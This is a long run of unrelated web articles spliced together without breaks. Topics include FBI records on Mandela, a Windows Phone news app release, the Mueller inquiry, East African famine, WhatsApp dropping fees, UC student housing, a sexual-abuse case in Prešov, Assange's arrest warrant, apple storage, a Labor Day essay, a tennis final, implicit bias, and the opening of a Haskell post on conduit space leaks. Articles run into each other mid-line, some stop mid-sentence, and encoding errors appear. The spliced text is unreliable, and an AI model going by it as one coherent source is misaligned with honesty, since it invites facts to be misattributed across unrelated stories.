In May, the FBI released the first set of documents on the beloved South African president — hundreds of pages of internal records showing that, in addition to protecting Mandela during his multi-city tour of the U.S. following his release from prison in 1990, the FBI cultivated a confidential informant who provided the agency with intelligence on Mandela’s political activities and meetings with prominent civil rights activists. Shapiro said the new batch of FBI records go even further in bringing to light “additional politically motivated FBI spying on Mandela” and also expose “something even darker.” “The documents reveal that, just as it did in the 1950s and 1960s with Martin Luther King and the civil rights movement, the FBI aggressively investigated the U.S. and South African anti-apartheid movements as communist plots imperiling American security,” Shapiro said. “Ultimately, what the documents reveal is the FBI’s unflagging conflation of social justice efforts with security threats, and the FBI’s cartoonish obsession with Communist Party subversion in the United States even as the Cold War itself crumbled into obsolescence.” Of course, there were strong links between the ANC and the South African Communist Party (SACP). The organizations have worked closely since the 1950s in the struggle against apartheid and formed an alliance in 1990 with the Congress of South African Trade Unions (COSATU) after South Africa lifted the prohibition on the ANC, SACP and other political groups that year. When Mandela died, the SACP issued a statement saying that he had been a member. The FBI withheld some records on Mandela in their entirety in the latest release, citing exemptions to FOIA pertaining to national security, the use of confidential informants, and — in a move likely to intrigue researchers — ongoing investigations. For example, a still largely classified “secret” 1993 New York FBI foreign counterintelligence memo about Mandela involved a confidential informant who explicitly “provided [the FBI with] political information.” But the document does not contain additional information. The FBI classified news clippings, including two from 1989 that were translated by an FBI language specialist, about Mandela’s possible early release from prison and forwarded them to the FBI counterintelligence supervisors. Some of the three dozen pages of FBI records have Foreign Counterintelligence classification markings, and others were classified as being part of a “domestic security” investigation, the primary classification designations the FBI used during its decades-long surveillance of Counterintelligence Program (Cointelpro) campaigns against civil rights and Vietnam War movements. One such document, declassified in response to the FOIA lawsuit, is an August 1990 internal FBI memo stating that communists were behind a House resolution that called on Congress to establish a Nelson Mandela/African National Congress Day. The FBI memo highlighted that the sponsor of the resolution, Democratic Rep. Charles Hayes, a civil rights activist, was a “former member of CPUSA.”
The documents reveal that, just as it did in the 1950s and 1960s with Martin Luther King and the civil rights movement, the FBI aggressively investigated the U.S. and South African anti-apartheid movements as communist plots imperiling American security. Ryan Shapiro FOIA specialistSeles Games is proud to announce the re-release of Weave News Reader, a news aggregation app similar to Flipboard and Pulse, available exclusively for Windows Phone 7 and Windows Phone 8.
Version 4.0 of Weave brings a complete app redesign; a sleek new UI makes reading articles a beautiful, customizable experience!
Since its initial release in 2010, Weave has been amongst a handful of hallmark Windows Phone apps that have achieved both critical and financial success. With the fastest news-aggregation service available as well as a gorgeous user interface, Weave is often considered one of the best news apps available on any platform.
A partial list of the new features available in Weave 4.0:
Complete app redesign! A sleek new UI makes reading articles a beautiful, customizable experience.
Full landscape support when browsing or viewing articles.
Ability to “favorite” articles to store on your phone.
Easy news source management capabilities. A browseable library of sources, grouped amongst many categories, as well as the ability to search for sources and import from a user’s Google Reader account.
Pin any website or category to your phone’s home screen.
New sharing capabilities – share articles to SMS and social networks: Facebook, Twitter, LinkedIn, and Windows Live.
Live Tiles!
New gestures when viewing an article: swipe right to close article, swipe left to bring up share options.
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Pseudo screen-rotation lock. Great for reading while lying down.
Tons of customization options available at all times! Change the font, font size, and pick from 4 great “Reading themes” including: “Day†– light background, black text “Night†– dark blue background, light text “Paper†– yellow-tinged background, dark text “Metro†– matches your phone’s current theme
of customization options available at all times! Change the font, font size, and pick from 4 great “Reading themes” including: Fully compatible with Windows Phone 8!
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Original press release here.Special counsel Robert Mueller and his investigative team reportedly interviewed former White House press secretary Sean Spicer on Monday, as the probe into Russian election interference continues.
The interview with President Trump's former top aide lasted most of the day, Politico reported Tuesday, citing multiple sources familiar with the meeting.
Spicer reportedly answered a range of questions surrounding the Trump presidency, including the firing of former FBI Director James Comey, who was leading the bureau's investigation into Russian meddling at the time.
Spicer declined Politico’s request for comment, and his attorney, Christopher Mead, did not respond to the paper’s multiple attempts to ask for comment on the matter.
Mueller appears to be checking off the names of aides who served at the top levels of President Trump's team as he presses forward with his investigation into Russian interference in the 2016 election.
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The reports follow a Politico report that Mueller and his team also interviewed Trump's former chief of staff Reince Priebus on Friday, signaling his investigation is picking up steam.
“Mr. Priebus was voluntarily interviewed by Special Counsel Mueller’s team today. He was happy to answer all of their questions," Priebus's lawyer William Burck told The Hill.
Mueller, as well as several congressional committees, are looking into the success and extent in which Russians meddled in last year's election and whether Trump campaign aides colluded with Kremlin officials.
Reports surfaced in September that Mueller was interested in talking to Spicer, Priebus and Hope Hicks, Trump’s trusted adviser and interim communications director.With East Africa facing its worst drought in 60 years, affecting more than 11 million people, the United Nations has declared a famine in the region for the first time in a generation. Overcrowded refugee camps in Kenya and Ethiopia are receiving some 3,000 new refugees every day, as families flee from famine-stricken and war-torn areas. The meager food and water that used to support millions in the Horn of Africa is disappearing rapidly, and families strong enough to flee for survival must travel up to a hundred miles, often on foot, hoping to make it to a refugee center, seeking food and aid. Many do not survive the trip. Officials warn that 800,000 children could die of malnutrition across the East African nations of Somalia, Ethiopia, Eritrea, and Kenya. Aid agencies are frustrated by many crippling situations: the slow response of Western governments, local governments and terrorist groups blocking access, terrorist and bandit attacks, and anti-terrorism laws that restrict who the aid groups can deal with -- not to mention the massive scale of the current crisis. Below are a few images from the past several weeks in East Africa. One immediate way to help is to text "FOOD" to UNICEF (864233) to donate $10, enough to feed a child for 10 days, more ways to help listed here.ON APRIL 12th Hillary Clinton officially entered the race for president. This comes 576 days before the general election, and she was not the first to throw her hat in the ring. Both Ted Cruz and Rand Paul had already formally declared on the Republican side, followed by Marco Rubio on April 13th. Why do candidates announce so early?
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Before the 1970s campaigns tended to be shorter. Candidates often announced only a few months before election day. Campaigns grew longer after the Democrats rewrote their party rules to give more weight to primary elections in the states rather than secretive negotiations at the nominating convention. This forced candidates to make their pitches directly to ordinary voters, which takes longer (see chart). The Republicans followed suit.
A history of Hillary
The “invisible” primary campaign lasts even longer than the official one. Since 2012 Mr Cruz had already attended 14 events in Iowa, the first state to vote in the process of nominating candidates, before officially declaring that he was running, according to analysis by the Des Moines Register. Mrs Clinton is heading to Iowa soon for a "listening" tour. Let's hope she pays attention. A poll by Quinnipiac in the week to April 7th found that Iowans’ opinions of Mrs Clinton have soured somewhat over the past two months. That is probably because of some recent negative coverage in the media; 54% of voters in the state think she still has serious questions to answer about her use of a private e-mail account when she was secretary of state.WhatsApp will be getting rid of its $1 (approximately Rs. 68) annual subscription fee this year. The widely used messaging app confirmed plans to ditch annual fee from all of its apps across various platforms over the next several weeks.
Until now, WhatsApp asked some users to pay an annual fee for using the app after the first year of use - though as many of us have experienced, most users were not asked to pay after a year, and instead were given extensions each year. The company however believes that the approach of annual fee hasn't worked successfully.
"Many WhatsApp users don't have a debit or credit card number and they worried they'd lose access to their friends and family after their first year. So over the next several weeks, we'll remove fees from the different versions of our app and WhatsApp will no longer charge you for our service", says the company in an official blog post.
While confirming plans to axe the annual subscription, the company also hinted that the app is now being used by "nearly a billion people around the world." Unfortunately, WhatsApp has not officially revealed the exact number of users worldwide like it did before. To recall, the popular instant messaging app reached over 900 million monthly active users milestone back in September last year.
Apart from scrapping the annual fee, WhatsApp also revealed its upcoming plans where it wants people to connect with businesses and organisation directly. The messaging service plans to bring tools for the new target audience. WhatsApp believes people can communicate with the bank or any other utility services directly via the messaging app. "We all get these messages elsewhere today - through text messages and phone calls - so we want to test new tools to make this easier to do on WhatsApp," adds the company.
WhatsApp for now has not detailed the tools it will be testing for bringing businesses and organisation closer to its users but we can expect to hear more soon. The company alongside also stressed that removing annual fee will not mean WhatsApp will introduce third-party ads.Janet Napolitano, president of the University of California, said at least 3,800 new beds will be available on UC campuses by fall 2018.
The UC system is in the process of adding a minimum of 14,000 beds by 2020 to fulfill a housing initiative. Napolitano said the UC is financing the construction of new housing to make it affordable for students.
“I think we need to appreciate that food and housing go hand in hand with getting a college education,” Napolitano said. “It’s not just having housing, but it’s having affordable student housing.”
She said housing and food security need to be taken into account when determining the total cost of UC attendance. The UC will continue funding food security efforts on campus and emergency crisis housing is available on UC campuses, such as UCLA, she added.
“We’re doing everything we can,” Napolitano said. “(We are) making sure that the campuses have food pantries that are available to students and that students are enrolling in CalFresh.”
Chancellor Gene Block said UCLA plans to construct a 17-floor student dorm on Le Conte Avenue to accommodate as many as 5,000 more students. The proposed dorm was recently reduced from 20 floors because Westwood community members expressed concerns that it would alter Westwood’s aesthetic.
“We respect the fact that we live in a community, but we have needs,” Block said. “And housing … is one of the most critical needs that students face.”
Administrative Vice Chancellor Michael Beck said the university piloted a new program this year that offered students rent as low as $500 per person per month in university apartments which housed many residents per unit, but added not every bed was filled despite the low cost.
Block added that he believes the university could do a better job about educating students on how to prepare healthy, affordable meals. He said a new pilot program for students in the David Geffen School of Medicine, Fielding School of Public Health and the nursing school will offer classes in a teaching kitchen on how to make low-cost, healthy food.
Block said UCLA aims to raise more money for scholarships that will support students financially and to make sure that students receive adequate financial aid.
“There’s a $500 million goal for undergraduates for student scholarship support,” Block said. “It’s certainly one of my highest priorities … we have a billion dollar goal between (undergraduates and graduate student scholarship support).Canadian anthropologist faces charges of sexual abuse
The police seized pictures of underage girls and also a weapon while searching his premises.
The police have laid charges against a Canadian anthropologist who teaches at the university in Prešov. David S. (62) has been accused of sexual abuse, spreading child pornography and being illegally armed.
The district court in Prešov ruled on taking David S. into custody on November 13. The reason for this was that there is a founded concern that he is a flight-risk and may continue in his criminal activities, the Prešov Region Court’s spokesperson Ivana Petrufová told TASR.
“The decision is not valid yet and the regional court will now decide on the complaint against it,” Petrufová added.
The first to report on the case was the website of the private broadcaster TV Markíza, according to which the police seized many pictures of underage girls in various positions found during a home search of the anthropologist’s premises.
“He is also suspected of abusing an 11-year-old girl,” the website wrote.
The police also seized the weapon which was sent to experts.
David S. was born in 1955 in Prague. He is a Dutch citizen and has permanent residence in Canada. In Slovakia, he deals with research into Roma settlements and communities. The Prešov University granted him an honorary degree, doctor honoris causa, in 2012, TASR reported.
16. Nov 2017 at 6:27 | Compiled by Spectator staffLISTEN
Kartchner Caverns State Park is the newest dark-sky park in the world, and the designation affects more than astronomy.
The Tucson-based International Dark-Sky Association (IDA) was founded nearly 30 years ago by a professional and an amateur astronomer who were concerned about the loss of visibility in the night sky.
While astronomy provides economic benefits in Southern Arizona and elsewhere, managing artificial light can impact nature and humans, too.
“Dark skies also means preservation of natural darkness on the ground, and we know that that feeds into a lot of our understanding of the wellbeing of wildlife and the ecology, and ourselves as human beings,” said John Berentine, IDA's program director.
Berentine said individuals can contribute to creating dark skies.
“There’s something that literally everybody could do to help support this effort. It’s as simple as looking at the outdoor lighting on your property if you are a homeowner, for example, making sure it’s shielded and directed down to the ground, that it’s only operating for the appropriate length of time at night.”
Berentine said there are 50 designated dark-sky parks around the globe, and the association also grants dark-sky designation to communities, including Flagstaff and Sedona. Oracle State Park, north of Tucson, is Arizona’s other dark-sky state park.
Grand Canyon National Park has a provisional designation and is working toward full dark-sky status. It's the best-known of the properties in the National Park Service that have dark-sky designations.
Kartchner Caverns, south of Benson, will celebrate its new dark-sky status Saturday, Sept. 9 at 2 p.m.
The IDA's designated dark-sky places are in 15 countries on six continents, including 20 U.S. states and 19 National Park Service units.
Dark-sky places at a glance 15 international dark-sky communities 54 International dark-sky parks 11 international dark-sky reserves Three international dark-sky sanctuaries Four dark-sky-friendly developments of distinctionAre you a newlywed or thinking about getting married? If so, you're probably eager to start sharing your life. Combining families, homes, cars, and even bank accounts is expected and embraced by most couples entering marriage. But there's one thing that many newlyweds forget they'll be sharing when they say, "I do"--their spouse's student loan debt.
Spouses are not technically responsible for their partners' student loans. Your spouse's student loan debt does not affect your personal credit, or if your spouse dies, you are not obliged to pay off the loan. However, as married partners, inevitably finances become intertwined. Even if the student loan debt isn't yours, a portion of your combined income will go toward paying it off. In many cases, especially marriages where only one spouse has student loan debt, this can create tension.
Student Loan Debt Weighs on Couples
Studies show that student loans are growing as a source of conflict for married couples and those who are thinking about getting hitched.
According to The College Investor, disagreements over money and finances are the biggest cause of divorce in the United States--and student loan debt can play a big part in that. As tuition continues to rise and more people pursue graduate degrees, student loan debt increasingly leads to marital problems or prevents couples from marrying in the first place.
Research conducted by an economics professor at the University of North Carolina found a negative correlation between student loan debt and marriage: $10,000 of student loan debt decreased the probability of marriage
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the financial investment firms that manage public pension systems.
Former Securities and Exchange Commission attorney Edward Siedle said campaign cash from the financial industry is fundamentally shaping the debate over how to manage state pension systems.
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"Why have all pension reform candidates concluded that workers' retirement benefits must be harshly cut, but, on the other hand, fees to Wall Street be exponentially increased?" said Siedle, who has published a series of forensic reports critical of politicians shifting ever more pension money to Wall Street. "The answer, of course, is that more money than ever is being spent by billionaires to support a public pension Wall Street feeding frenzy."
After the 2014 election, that feeding frenzy is only going to intensify.Julian Assange, the WikiLeaks founder, is expected to be arrested in the coming days after Swedish prosecutors filed a new warrant with British authorities.
The Independent revealed yesterday that a procedural error with the European Arrest Warrant had delayed the arrest of the 39-year-old Australian, who is wanted in Sweden over sexual allegations but has been in England since October.
Police in Gothenburg claim they have now submitted a fresh warrant to the Serious Organised Crime Agency. Soca is expected to instruct Scotland Yard to arrest Mr Assange and have him appear before an extradition hearing – although as of last night the Metropolitan Police had yet to receive the warrant.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Police sources have previously said that they received a letter from Mr Assange's UK-based lawyer, Mark Stephens, containing information about how to contact Mr Assange should they need to.
Details of the new arrest warrant came as a last-ditch attempt to have the allegations against Mr Assange dropped failed. Sweden's highest court upheld the arrest order and refused to let him appeal against a lower court's ruling.
Last night, Mr Assange's family spoke of their fears for his safety after increasingly shrill statements from American commentators who have called for his assassination. His mother, Christine Assange, said "the forces that he's challenging are too big".
The arrest warrant filed with Soca states that he was wanted on suspicion of rape, sexual molestation and unlawful coercion. But Soca requested a new warrant. A spokeswoman for the Swedish National Police Board told the BBC that the original one had been refused because it listed only the maximum penalty for the most serious crime alleged, rather than for all of the crimes.
When the arrest is made, Mr Assange will be taken before an extradition hearing at Westminster magistrates' court. If he refuses to be extradited, a judge will preside over an extradition hearing and will rule whether he should be sent to Sweden or discharged.
Last night, Mr Stephens said he would challenge any arrest in British courts. "The process in this case has been so utterly irregular that the chances of a valid arrest warrant being submitted to me are very small," he said. Mr Stephens has accused Swedish prosecutors of launching a witch-hunt against his client, who strongly denies the rape allegations and says he is being smeared because of the exposés published by his website.
He has maintained that Swedish prosecutors have yet to provide any evidence against Mr Assange and have ignored his requests to meet with them. He also expressed concerns at the way the UK and Swedish authorities were handling the case.
"I feel like I am sitting in the middle of a surreal Swedish fairytale," he said. "The trolls keep threatening to come on and keep making noises off stage. But at the moment, no appearance from them."
In an interview with an Australian newspaper, Mr Assange's mother defended her son and lambasted hawks in the US who have called for his death.
Ms Assange, who runs a puppet theatre in Noosa, a Queensland beach resort, defended her son's decision to publish thousands of classified US documents on the website. "He sees what he's doing as doing a good thing in the world – fighting baddies, if you like," she told Queensland's Courier-Mail.
Ms Assange – who does not even own a computer – described her son as a hero of the internet. But she added that she feared he had "gotten too smart for himself", saying: "I'm concerned it's gotten too big and the forces that he's challenging are too big." She did not want him "hunted down and jailed".
We’ll tell you what’s true. You can form your own view.
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Oct. 13, 2014, 1:14 PM GMT By Alice Dubin and Chris Serico
The leaves are changing, the temperature is dropping, and as we slide fully into fall, the shift in season means one very important thing for foodies: It's apple season.
But did you know that the apples on the shelves of your supermarket might be nearly a year old? Here's why — and why it doesn’t necessarily mean you should panic.
Lauren Sucher, a spokeswoman for the Food and Drug Administration, confirmed to TODAY.com that apples on store shelves aren’t always as fresh as they seem.
“A number of commodities, including apples, may be stored to extend their availability for marketing,” she said. “In controlled temperatures and low humidity, apples can be stored for months before being consumed.”
According to the U.S. Department of Agriculture’s website, freshly picked apples left untreated will last a few weeks before they turn soft and rot, so they’re often stored under temperature-controlled conditions that allow them to last up to 10 months. Once they’re removed from storage, however, the clock starts ticking again.
“To slow the proverbial sands of time, some fruit distributors treat their apple bins with a gaseous compound, 1-methylcyclopropene,” the USDA states. “It extends the fruits’ post-storage quality by blocking ethylene, a colorless gas that naturally regulates ripening and aging.”
The same chemical is used to lessen the “de-greening of broccoli, browning of lettuce, and bitterness in carrots,” according to the USDA.
But even if this fact is surprising, it shouldn’t be scary. Although antioxidants and taste may wane over time, experts tell TODAY.com that such treatments are perfectly safe.
For starters, off-farm facilities that store food for consumption in the U.S. must register with the FDA, and must comply with related safety requirements, Sucher says.
Prolonging the life of produce isn’t a new concept, either. “Before the current technology, people had root cellars to extend the shelf life and availability of food commodities such as apples,” Sucher added. “This common, widespread practice allows consumers to eat a wider variety of produce items for more months of the year now than in decades past.”
Phil Lempert, a consumerologist who’s also known as the Supermarket Guru, told TODAY.com via email that while apples can exist in cold storage for a year before being shipped to supermarkets, their shelf life once they’re in stores usually is “only days to a couple of weeks.”
Martin Lindstrom, author of “Truth and Lies About What We Buy,” told TODAY.com it’s more common for international supermarkets to sell apples that have been picked more than a year earlier, but that that's less often the case in the United States.
Of course, not all harvested apples go into long-term storage. Many are delivered to fresh markets. In addition, not all apples from storage appear in the produce section. They may be used to make juices, frozen pies and other types of processed foods, Sucher says.
But even if extending the life of apples is safe, a store-bought apple may not be the healthiest option.
“A fresh-picked apple is always going to have the optimal nutrient profile of vitamins and minerals,” said Madelyn Fernstrom, a diet and nutrition editor for TODAY. “Apples are especially rich in polyphenols, a type of antioxidant.”
Those antioxidants appear to disappear over time. The website Food Renegade cites research that claims a year-old apple may retain close to none of its antioxidant properties.
Fernstrom said there may be truth to the correlation between age and decreasing antioxidant value, but stated the use of ethylene doesn’t appear to be the reason for it.
“A recent study suggests that the amount of antioxidants in apples might drop with extended storage," she added, "because these antioxidants are found in the peel, not the flesh of the apple.”
Although it’s often difficult to determine which supermarket apples are freshest until after they’re bought, Lindstrom said some markets are working to provide better information about each apple. “Some retailers are now offering ‘footprints,’ telling [shoppers] when it was grown and when it was picked,” he added.
And if you don’t want to play that kind of guessing game? “Your best bet is to buy apples seasonally and locally,” Fernstrom said.
TODAY.com writer Chris Serico contributed to this story. Follow him on Twitter. Alesandra Dubin is a Los Angeles-based writer and the founder of home and travel blog Homebody in Motion. Follow her on Facebook, Google+ and Twitter.Of all the national holidays, Labor Day is the most passive. It floats as the first Monday in September; it lacks a symbol, a song or ritual. Maybe that is not so strange for a holiday that has come to be a collective celebration of rest.
Labor Day is also set aside to recognize the importance of labor or work in our lives.
The importance of work is at the heart of a speech recorded by Retired Lt. General Russel L. Honoré for This I Believe, Inc. This I Believe is an “independent, not-for-profit organization that engages youth and adults from all walks of life in writing, sharing, and discussing brief essays about the core values that guide their daily lives.”
Honoré is best known for coordinating military relief efforts for Hurricane Katrina-affected areas across the Gulf Coast and as the 2nd Infantry Division’s commander while stationed in South Korea. Honoré, also known as “The Ragin’ Cajun”, offered an audio essay that was shared on NPR’s Weekend Edition, March 1, 2009.
Work is a Blessing
Honoré’s essay was titled To Work is a Blessing and in it he describes how his father influenced him to see labor differently. His own work experience began in his youth when he had to milk 65 cows twice daily:
“I remember complaining to my father and grandfather about having to go milk those cows. My father said, ‘Ya know, boy, to work is a blessing.'”
Honore described how he I looked at those two men, and “had a feeling I had been told something really important, but it took many years before it had sunk in.” As a young man, he joined ROTC to pay for college, and that obligation led to his 37 year career in the Army.
In the essay, he explains a visit to Bangladesh in the 80s and how he watched a woman breaking bricks with a hammer with a baby strapped to her back. When he asked if a machine would be more efficient than this form of human labor, an official explained that a machine would put that lady out of work. Honoré then understood:
“Breaking those bricks meant she’d earn enough money to feed herself and her baby that day. And as bad as that woman’s job was, it was enough to keep a small family alive. It reminded me of my father’s words: to work is a blessing.”
His position in the Army took him to multiple countries, where he grew to recognize that people, regardless of where they lived, who lived without jobs were not free. They become “victims of crime, the ideology of terrorism, poor health, depression, and social unrest.” Instead, he argued that
“People who have jobs can have a home, send their kids to school, develop a sense of pride, contribute to the good of the community, and even help others. When we can work, we’re free. We’re blessed.”
Honoré’s essay is (561 words); his audio recording of the speech is 4:02 minutes long. The readability level/Grade Level of the essay is 6.7 according to a Flesch–Kincaid readability calculator. Both the essay and the audio recording are available on the This I Believe website. In the audio recording, Honoré’s thick Louisiana accent personalizes his message, a form of a quick read-aloud while student can follow in the text.
Educators who might want to use this speech with students in grades 6-12 could align their questions to several Common Core State Standards (CCSS) for reading informational texts. Reading informational texts such as this speech help students build a foundation of knowledge in multiple fields. In addition to English Language Arts, this essay can be part of any social studies program from middle school geography to AP Human Geography. The background knowledge the essay provides helps them to be better readers in all content areas.
Below are four anchor standards from the CCSS and questions stems for each strand that could be used with this essay:
RI.9-10.1 Cite strong and thorough textual evidence to support analysis of what the text of this speech says explicitly as well as inferences drawn from the text.
What textual evidence supports your analysis of the Honoré’s speech?
What inferences can you draw from specific textual evidence?
RI.9-10.2 Determine a central idea of a text and analyze its development over the course of Honoré’s speech, including how it emerges and is shaped and refined by specific details; provide an objective summary of the text.
What is the central idea of the speech?
How is the central idea developed?
What supporting ideas are included in the text?
RI.9-10.3 Analyze how Honoré’s unfolds a series of ideas or events, including the order in which the points are made, how they are introduced and developed, and the connections that are drawn between them.
What connections can you make among and between the individuals, ideas, or events in Honoré’s speech?
What distinctions can you make between the speech’s individuals, ideas, or events?
Analyze how Honoré connects the ideas and events of the text?
RI.9-10. 4 Determine the meaning of words and phrases as they are used in Honoré’s speech, including figurative, connotative, and technical meanings; analyze the cumulative impact of specific word choices on meaning and tone.
What does the word/phrase _______ mean in this selection?
How does the Honoré’s use of repetition of ___________ impact the tone of his speech?
Identify and analyze which words or phrases specifically impact the meaning or tone?
Labor Day may be a passive holiday, but this day is important to recognize the importance of work in every life, and we should share that message with our students.
Honoré concludes his short speech by saying he has no plans to stop working, restating his belief in his father’s words:
“I believe in the blessing of work.”Media playback is not supported on this device Australian Open: Jamie Murray and Bruno Soares win men's doubles title
Australian Open Venue: Melbourne Park Dates: 18-31 January Coverage: Live radio and text commentary on all Andy Murray matches, plus highlights on BBC TV and BBC Sport website. Listen to Tennis Breakfast on Radio 5 live sports extra and the BBC Sport website from 07:00 GMT.
Jamie Murray became the first Briton to win the Australian Open men's doubles title in 82 years, as he and Bruno Soares beat Daniel Nestor and Radek Stepanek 2-6 6-4 7-5.
Brazil's Soares, 33, twice lost his serve as Canada's Nestor, 43, and Czech Stepanek, 37, took the opening set.
Murray, 29, and Soares began to exert more pressure and broke in the fifth game on the way to the second set.
The pair then served out for the win at the second attempt in the decider.
'You shouldn't be here taking photos'
Andy Murray captures his brother's victory speech on his phone
Murray was serving for victory at 5-4 up in the third, but failed to hold serve as he was broken for the first time in the match as Nestor and Stepanek gave themselves hope.
But Murray and Soares immediately broke back before the latter comfortably held on to his serve to complete victory.
The livewire Murray's volleying and serving were a major part of the success, as the Scot - whose brother Andy plays in the men's singles final on Sunday - added the title to his mixed doubles win with Jelena Jankovic at Wimbledon in 2007.
Andy Murray turned up for the post-match trophy ceremony and an emotional Jamie said: "Andy, you should be in bed, not here taking photos."
'I think we can retire now'
Having reached the Wimbledon and US Open finals with John Peers in 2015, Jamie Murray joined up with Soares in an attempt to go one better.
However, it seemed the duo's first major together would end with a similar fate as Nestor and Stepanek eased in front in 38 minutes.
Soares held for the first time in the match as he and Murray drew level at 2-2 in second set.
The Brazilian started to raise his game to that of his team-mate and the pair, on Nestor's serve, finally took a break point at the eighth attempt to take a 3-2 lead before levelling the match.
In the third set, the momentum was with Murray and Soares as the former became the first Briton to win the men's doubles title at the Australian Open since Fred Perry and Pat Hughes in 1934.
"You dream about this moment since when you start playing tennis and I don't know what to say," said Soares.
"Jamie, my partner, it's only one month [since we teamed up], but I think we can retire now.
"Thanks for inviting me and thanks for playing such good tennis. I hope we can carry it on and play for many more matches like this."The verdict in George Zimmerman’s trial caused in me the kind of existential crisis that my optimistic nature is usually able to fend off. In these weeks I have come to understand just how much light exists between the basic assumptions of the racial justice movement and those of most white Americans. A Pew Research Center survey conducted in the week after the verdict revealed a huge gap between black and white attitudes. Just 30 percent of white respondents said they were dissatisfied with the verdict, compared to 86 percent of blacks. The key strategic question for a racial justice movement is whether to focus on growing that 30 percent, or simply to out organize the rest. To figure out an answer, we need to delve into the complicated relationship between explicit racism, unconscious bias, policymaking and culture.
Our legal frameworks are based on punishing explicit racism. Yet the not-explicit kind, what is known among social psychologists as “implicit bias,” also undergirds the punishing policies that make young black men so vulnerable to deadly forms of discrimination. That reality creates a challenge, because it’s much easier to condemn obvious racism than the kind that expresses itself in, say, Juror B37’s statement that Zimmerman could credibly assume Trayvon Martin was “trying to do something bad in the neighborhood.” Implicit bias is the reason why.
In the best-selling book “Thinking, Fast and Slow,” psychologist and economist Daniel Kahneman describes the brain as having two parts, which he calls Systems 1 and 2. System 1 is lightning fast, intuitive and overconfident. It makes many, many judgements, often based on false assumptions. System 1 selectively pulls facts and images to justify those judgements, totally unaware that it is doing so. System 2, however, is slow, methodical, and much less confident, and it only kicks under real pressure.
System 1 is willing to give George Zimmerman’s snap judgements about Trayvon the benefit of the doubt. To make your System 2 kick in and ask, for example, “Do I really need to clutch my bag/call the police/pull out my gun because a black man is walking toward me?” requires a decision, a desire to push System 1 aside. The good news of the Pew poll is it suggests that at least 30 percent of the nation’s white people have moved beyond their System 1s and engaged their System 2s. Several hundred of them are represented in the Tumblr We Are Not Trayvon.
What happens in System 1 with regard to race is called implicit bias, which Maya Wiley, president of the Center for Social Inclusion, did a great job of explaining on “Up with Steve Kornacki.” Implicit bias is the way that social psychologists refer to the phenomenon by which we are unaware of our prejudices. Our judgments about people don’t qualify as prejudices because our brains are happy enough to have a coherent story about “those people.” They’re happy to linger in System 1. Social psychologists at Harvard University, University of Virginia and University of Washington created the implicit bias test online to enable people to see their biases at work in a series of rapid-fire judgments driven by images of white and black people.
The combination of implicit bias and power gives explicit racists a lot of cover, through rules and arrangements that don’t need to be explicitly racist to get massive support. The entire Zimmerman trial was influenced by just these sorts of actions–from the initial botching of the crime scene, to the disturbing admissions of Juror B37 in her CNN interview, to the adoption of Florida’s so-called “stand your ground” law in the first place. This combination–conscious racists who know not to use the n-word, unconscious racists who can’t recognize bias without the n-word, and policymakers who can easily deny racist intention–affects every issue. This is why it is so hard, for instance, to establish that Texas Gov. Rick Perry’s voter suppression policies were designed to target African Americans and Latinos, or that drug sentencing laws need a major overhaul.
Our inadequate civil rights laws make no provision for unconscious bias. The Civil Rights Act blocks practices and policies that have a racist impact, even if intention can’t be proven. But in truth, it is nearly impossible to win a civil rights case in which racist intention isn’t fairly obvious. Saru Jayaraman, a researcher and organizer who deals with employment discrimination in the restaurant industry, told me once that she can always get a lawyer to file wage theft lawsuits, but finds it much more difficult when the issue involves segregating workers of color in back of the house jobs.
So if people are unaware of their biases, how can we hold them accountable? How can we grow that 30 percent of white people dissatisfied with the status quo? It seems to me that we have to get their System 2s to kick in.
In an essay about “Fruitvale Station,” Washington Post film critic Ann Hornaday suggests that white Americans’ reluctance to claim their privilege doesn’t make it any less real:
As mortified as some white people may be at the suggestion that we’ve enjoyed career advancement at someone else’s expense, we need to acknowledge that one can benefit from privilege even if it isn’t explicitly claimed. Indeed, perhaps the ultimate marker of privilege is not having to be conscious of it.
That’s System 2 thinking.
At the Applied Research Center, which publishes Colorlines, we try to achieve this by focusing on impact rather than intention, because most people aren’t conscious enough of their bias for it to qualify as intentional. We talk about racism this way because it lowers the heat level and makes it possible to have an actual conversation, sometimes even to really solve a problem. Lowering the heat level is about getting past white defensiveness, and it does enable people to engage constructively.
I worry sometimes that this framework lets conscious racists off the hook. Still, if it disrupts the coherence of biased stories, if it causes people to wonder whether their good intentions actually translate into fairness, if it gets some folks to stop a minute so that their System 2s can kick in, then it seems like a keeper. This concept of impact rather than intention is the next thing we need to establish in both politics and culture, in both school boards and Hollywood studios.
At last year’s Facing Race conference, I gave a talk in which I said I was after changing the course of human evolution itself. If the human brain has evolved to enable other good things–cooperation, innovation, analysis–then I don’t see why it can’t evolve past its biases, too. The Zimmerman verdict showed me just how grandiose I was being in that moment, and yet, I am reluctant to give up my vision. It may take millions of years to get there, but we can do our part by addressing the way racism really works, be it in pop culture or the halls of Congress, for as long as we are on this Earth.Thursday, 29 September 2016, by Edsko de Vries.
Filed under coding.
TL;DR: Sharing conduit values leads to space leaks. Make sure that conduits are completely reconstructed on every call to runConduit ; this implies we have to be careful not to create any (potentially large) conduit CAFs (skip to the final section “Avoiding space leaks” for some details on how to do this). Similar considerations apply to other streaming libraries and indeed any Haskell code that uses lazy data structures to drive computation.
Motivation
We use large lazy data structures in Haskell all the time to drive our programs. For example, consider
main1 :: IO () main1 = forM_ [ 1.. 5 ] $ \_ -> mapM_ print [ 1.. 1000000 ]
It’s quite remarkable that this works and that this program runs in constant memory. But this stands on a delicate cusp. Consider the following minor variation on the above code:
ni_mapM_ :: (a -> IO b) -> [a] -> IO () {-# NOINLINE ni_mapM_ #-} ni_mapM_ = mapM_ main2 :: IO () main2 = forM_ [ 1.. 5 ] $ \_ -> ni_mapM_ print [ 1.. 1000000 ]
This program runs, but unlike main1, it has a maximum residency of 27 MB; in other words, this program suffers from a space leak. As it turns out, main1 was running in constant memory because the optimizer was able to eliminate the list altogether (due to the fold/build rewrite rule), but it is unable to do so in main2.
But why is main2 leaking? In fact, we can recover constant space behaviour by recompiling the code with -fno-full-laziness. The full laziness transformation is effectively turning main2 into
longList :: [ Integer ] longList = [ 1.. 1000000 ] main3 :: IO () main3 = forM_ [ 1.. 5 ] $ \_ -> ni_mapM_ print longList
The first iteration of the forM_ loop constructs the list, which is then retained to be used by the next iterations. Hence, the large list is retained for the duration of the program, which is the beforementioned space leak.
The full laziness optimization is taking away our ability to control when data structures are not shared. That ability is crucial when we have actions driven by large lazy data structures. One particularly important example of such lazy structures that drive computation are conduits or pipes. For example, consider the following conduit code:
